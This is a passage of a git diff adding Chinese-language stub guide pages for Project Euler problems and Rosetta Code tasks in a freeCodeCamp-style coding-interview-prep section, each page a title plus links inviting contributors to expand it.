+localeTitle: 路径总和 - 三种方式
+---
+## 问题82：路径总和：三种方式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-82-path-sum-three-ways/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-83-path-sum-four-ways/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-83-path-sum-four-ways/index.md
new file mode 100644
index 0000000000..df669981ac
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-83-path-sum-four-ways/index.md
@@ -0,0 +1,9 @@
+---
+title: Path sum - four ways
+localeTitle: 路径总和 - 四种方式
+---
+## 问题83：路径总和：四种方式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-83-path-sum-four-ways/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-84-monopoly-odds/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-84-monopoly-odds/index.md
new file mode 100644
index 0000000000..054e585406
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-84-monopoly-odds/index.md
@@ -0,0 +1,9 @@
+---
+title: Monopoly odds
+localeTitle: 垄断赔率
+---
+## 问题84：垄断赔率
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-84-monopoly-odds/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-85-counting-rectangles/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-85-counting-rectangles/index.md
new file mode 100644
index 0000000000..092b906884
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-85-counting-rectangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Counting rectangles
+localeTitle: 计算矩形
+---
+## 问题85：计算矩形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-85-counting-rectangles/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-86-cuboid-route/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-86-cuboid-route/index.md
new file mode 100644
index 0000000000..a4b5298de7
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-86-cuboid-route/index.md
@@ -0,0 +1,9 @@
+---
+title: Cuboid route
+localeTitle: 长方体路线
+---
+## 问题86：长方体路线
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-86-cuboid-route/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-87-prime-power-triples/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-87-prime-power-triples/index.md
new file mode 100644
index 0000000000..b235800a93
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-87-prime-power-triples/index.md
@@ -0,0 +1,9 @@
+---
+title: Prime power triples
+localeTitle: Prime power三倍
+---
+## 问题87：Prime power三倍
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-87-prime-power-triples/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-88-product-sum-numbers/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-88-product-sum-numbers/index.md
new file mode 100644
index 0000000000..a8d534d7cb
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-88-product-sum-numbers/index.md
@@ -0,0 +1,9 @@
+---
+title: Product-sum numbers
+localeTitle: 产品总数
+---
+## 问题88：产品总和数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-88-product-sum-numbers/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-89-roman-numerals/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-89-roman-numerals/index.md
new file mode 100644
index 0000000000..e8501eab25
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-89-roman-numerals/index.md
@@ -0,0 +1,9 @@
+---
+title: Roman numerals
+localeTitle: 罗马数字
+---
+## 问题89：罗马数字
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-89-roman-numerals/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-9-special-pythagorean-triplet/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-9-special-pythagorean-triplet/index.md
new file mode 100644
index 0000000000..13ad3dd6d1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-9-special-pythagorean-triplet/index.md
@@ -0,0 +1,9 @@
+---
+title: Special Pythagorean triplet
+localeTitle: 特殊的毕达哥拉斯三重奏
+---
+## 问题9：特殊的毕达哥拉斯三重奏
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-9-special-pythagorean-triplet/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-90-cube-digit-pairs/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-90-cube-digit-pairs/index.md
new file mode 100644
index 0000000000..df3af32db8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-90-cube-digit-pairs/index.md
@@ -0,0 +1,9 @@
+---
+title: Cube digit pairs
+localeTitle: 立方体数字对
+---
+## 问题90：立方体数字对
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-90-cube-digit-pairs/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-91-right-triangles-with-integer-coordinates/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-91-right-triangles-with-integer-coordinates/index.md
new file mode 100644
index 0000000000..93ff4164a8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-91-right-triangles-with-integer-coordinates/index.md
@@ -0,0 +1,9 @@
+---
+title: Right triangles with integer coordinates
+localeTitle: 带整数坐标的直角三角形
+---
+## 问题91：带有整数坐标的直角三角形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-91-right-triangles-with-integer-coordinates/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-92-square-digit-chains/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-92-square-digit-chains/index.md
new file mode 100644
index 0000000000..2e152d7b38
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-92-square-digit-chains/index.md
@@ -0,0 +1,9 @@
+---
+title: Square digit chains
+localeTitle: 方形数字链
+---
+## 问题92：方形数字链
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-92-square-digit-chains/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-93-arithmetic-expressions/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-93-arithmetic-expressions/index.md
new file mode 100644
index 0000000000..dcec28996c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-93-arithmetic-expressions/index.md
@@ -0,0 +1,9 @@
+---
+title: Arithmetic expressions
+localeTitle: 算术表达式
+---
+## 问题93：算术表达式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-93-arithmetic-expressions/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-94-almost-equilateral-triangles/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-94-almost-equilateral-triangles/index.md
new file mode 100644
index 0000000000..71e3a6b236
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-94-almost-equilateral-triangles/index.md
@@ -0,0 +1,9 @@
+---
+title: Almost equilateral triangles
+localeTitle: 几乎是等边三角形
+---
+## 问题94：几乎等边三角形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-94-almost-equilateral-triangles/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-95-amicable-chains/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-95-amicable-chains/index.md
new file mode 100644
index 0000000000..ef252e5a13
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-95-amicable-chains/index.md
@@ -0,0 +1,9 @@
+---
+title: Amicable chains
+localeTitle: 友好的链条
+---
+## 问题95：友好的链条
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-95-amicable-chains/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-96-su-doku/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-96-su-doku/index.md
new file mode 100644
index 0000000000..31d67a03d5
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-96-su-doku/index.md
@@ -0,0 +1,9 @@
+---
+title: Su Doku
+localeTitle: 苏杜库
+---
+## 问题96：苏杜库
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-96-su-doku/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-97-large-non-mersenne-prime/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-97-large-non-mersenne-prime/index.md
new file mode 100644
index 0000000000..ef290f6412
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-97-large-non-mersenne-prime/index.md
@@ -0,0 +1,9 @@
+---
+title: Large non-Mersenne prime
+localeTitle: 大非梅森素数
+---
+## 问题97：大的非梅森素数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-97-large-non-mersenne-prime/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-98-anagramic-squares/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-98-anagramic-squares/index.md
new file mode 100644
index 0000000000..a72ac501cd
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-98-anagramic-squares/index.md
@@ -0,0 +1,9 @@
+---
+title: Anagramic squares
+localeTitle: Anagramic广场
+---
+## 问题98：Anagramic正方形
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-98-anagramic-squares/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-99-largest-exponential/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-99-largest-exponential/index.md
new file mode 100644
index 0000000000..d87f2b0b28
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/project-euler/problem-99-largest-exponential/index.md
@@ -0,0 +1,9 @@
+---
+title: Largest exponential
+localeTitle: 最大的指数
+---
+## 问题99：最大的指数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/project-euler/problem-99-largest-exponential/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/100-doors/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/100-doors/index.md
new file mode 100644
index 0000000000..fae5fc94ce
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/100-doors/index.md
@@ -0,0 +1,9 @@
+---
+title: 100 doors
+localeTitle: 100门
+---
+## 100门
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/100-doors/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/24-game/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/24-game/index.md
new file mode 100644
index 0000000000..90c809748f
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/24-game/index.md
@@ -0,0 +1,9 @@
+---
+title: 24 game
+localeTitle: 24场比赛
+---
+## 24场比赛
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/24-game/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/9-billion-names-of-god-the-integer/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/9-billion-names-of-god-the-integer/index.md
new file mode 100644
index 0000000000..8aa84abd67
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/9-billion-names-of-god-the-integer/index.md
@@ -0,0 +1,9 @@
+---
+title: 9 billion names of God the integer
+localeTitle: 90亿上帝的名字整数
+---
+## 90亿上帝的名字整数
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/9-billion-names-of-god-the-integer/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/abc-problem/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/abc-problem/index.md
new file mode 100644
index 0000000000..c30c3f97e1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/abc-problem/index.md
@@ -0,0 +1,9 @@
+---
+title: ABC Problem
+localeTitle: ABC问题
+---
+## ABC问题
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/abc-problem/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/abundant-deficient-and-perfect-number-classifications/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/abundant-deficient-and-perfect-number-classifications/index.md
new file mode 100644
index 0000000000..c1db761af9
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/abundant-deficient-and-perfect-number-classifications/index.md
@@ -0,0 +1,9 @@
+---
+title: Abundant, deficient and perfect number classifications
+localeTitle: 丰富，不足和完善的数字分类
+---
+## 丰富，不足和完善的数字分类
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/abundant-deficient-and-perfect-number-classifications/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/accumulator-factory/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/accumulator-factory/index.md
new file mode 100644
index 0000000000..616b29da87
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/accumulator-factory/index.md
@@ -0,0 +1,9 @@
+---
+title: Accumulator factory
+localeTitle: 蓄能器工厂
+---
+## 蓄能器工厂
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/accumulator-factory/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/ackermann-function/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/ackermann-function/index.md
new file mode 100644
index 0000000000..10786c9ef6
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/ackermann-function/index.md
@@ -0,0 +1,9 @@
+---
+title: Ackermann function
+localeTitle: 阿克曼功能
+---
+## 阿克曼功能
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/ackermann-function/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/align-columns/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/align-columns/index.md
new file mode 100644
index 0000000000..85cf144676
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/align-columns/index.md
@@ -0,0 +1,9 @@
+---
+title: Align columns
+localeTitle: 对齐列
+---
+## 对齐列
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/align-columns/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/amicable-pairs/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/amicable-pairs/index.md
new file mode 100644
index 0000000000..c73fcf3338
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/amicable-pairs/index.md
@@ -0,0 +1,9 @@
+---
+title: Amicable pairs
+localeTitle: 友好的对
+---
+## 友好的对
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/amicable-pairs/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/averagesmode/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/averagesmode/index.md
new file mode 100644
index 0000000000..5191ca718c
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/averagesmode/index.md
@@ -0,0 +1,9 @@
+---
+title: Averages/Mode
+localeTitle: 平均值/模式
+---
+## 平均值/模式
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/averagesmode/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/averagespythagorean-means/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/averagespythagorean-means/index.md
new file mode 100644
index 0000000000..5773c82d2e
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/averagespythagorean-means/index.md
@@ -0,0 +1,9 @@
+---
+title: Averages/Pythagorean means
+localeTitle: 平均值/毕达哥拉斯指的是
+---
+## 平均值/毕达哥拉斯指的是
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/averagespythagorean-means/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/averagesroot-mean-square/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/averagesroot-mean-square/index.md
new file mode 100644
index 0000000000..de3500ab8d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/averagesroot-mean-square/index.md
@@ -0,0 +1,9 @@
+---
+title: Averages/Root mean square
+localeTitle: 平均值/均方根
+---
+## 平均值/均方根
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/averagesroot-mean-square/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/babbage-problem/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/babbage-problem/index.md
new file mode 100644
index 0000000000..dacbac80d2
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/babbage-problem/index.md
@@ -0,0 +1,9 @@
+---
+title: Babbage problem
+localeTitle: 巴贝奇问题
+---
+## 巴贝奇问题
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/babbage-problem/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/balanced-brackets/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/balanced-brackets/index.md
new file mode 100644
index 0000000000..9a5d47a6b3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/balanced-brackets/index.md
@@ -0,0 +1,9 @@
+---
+title: Balanced brackets
+localeTitle: 平衡括号
+---
+## 平衡括号
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/balanced-brackets/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/circles-of-given-radius-through-two-points/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/circles-of-given-radius-through-two-points/index.md
new file mode 100644
index 0000000000..0fc4f0452d
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/circles-of-given-radius-through-two-points/index.md
@@ -0,0 +1,9 @@
+---
+title: Circles of given radius through two points
+localeTitle: 给定半径的圆圈通过两个点
+---
+## 给定半径的圆圈通过两个点
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/circles-of-given-radius-through-two-points/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/closest-pair-problem/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/closest-pair-problem/index.md
new file mode 100644
index 0000000000..c5360036d3
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/closest-pair-problem/index.md
@@ -0,0 +1,9 @@
+---
+title: Closest-pair problem
+localeTitle: 最近对的问题
+---
+## 最近对的问题
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/closest-pair-problem/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/combinations/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/combinations/index.md
new file mode 100644
index 0000000000..5b5a4b99df
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/combinations/index.md
@@ -0,0 +1,9 @@
+---
+title: Combinations
+localeTitle: 组合
+---
+## 组合
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/combinations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/comma-quibbling/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/comma-quibbling/index.md
new file mode 100644
index 0000000000..d634035190
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/comma-quibbling/index.md
@@ -0,0 +1,9 @@
+---
+title: Comma quibbling
+localeTitle: 逗号狡猾
+---
+## 逗号狡猾
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/comma-quibbling/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/compare-a-list-of-strings/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/compare-a-list-of-strings/index.md
new file mode 100644
index 0000000000..713675f2dd
--- /dev/null
+++ b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/compare-a-list-of-strings/index.md
@@ -0,0 +1,9 @@
+---
+title: Compare a list of strings
+localeTitle: 比较字符串列表
+---
+## 比较字符串列表
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/certifications/coding-interview-prep/rosetta-code/compare-a-list-of-strings/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/convert-seconds-to-compound-duration/index.md b/client/src/guide/chinese/certifications/coding-interview-prep/rosetta-code/convert-seconds-to-compound-duration/index.md
new file mode 100644
index 0000000000..e9a5d87688
--- /dev/null
